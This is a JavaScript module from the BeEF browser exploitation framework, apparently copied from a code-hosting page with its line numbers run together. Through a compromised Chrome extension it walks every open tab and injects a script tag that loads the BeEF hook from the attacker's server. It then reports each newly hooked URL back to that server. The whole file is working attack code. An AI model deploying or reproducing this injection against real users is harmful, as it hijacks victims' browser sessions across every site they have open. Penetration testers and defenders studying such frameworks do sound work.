Path: blob/master/modules/chrome_extensions/inject_beef/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook;910chrome.windows.getAll({"populate" : true}, function(windows) {11for(i in windows) {12if(windows[i].type=="normal") {13chrome.tabs.getAllInWindow(windows[i].id,function(tabs){14for(t in tabs) {15//antisnatchor: if the extension has her own tabs open, we want to precent injecting the hook16//also there. Chrome extensions with tabs and http/s permissions cannot access URIs with protocol17// handlers chrome-extension://, and most of them will not have permissions to do so.18if(tabs[t].url.substring(0,16) != "chrome-extension"){19chrome.tabs.executeScript(tabs[t].id,{code:"newScript=document.createElement('script'); newScript.src='"20+ beefHookUri + "'; newScript.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')[0].appendChild(newScript);"})2122//send back the new domain that will be hooked :-)23beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Successfully injected BeEF hook on: ' + tabs[t].url);24}25}26})27}28}29});30});31323334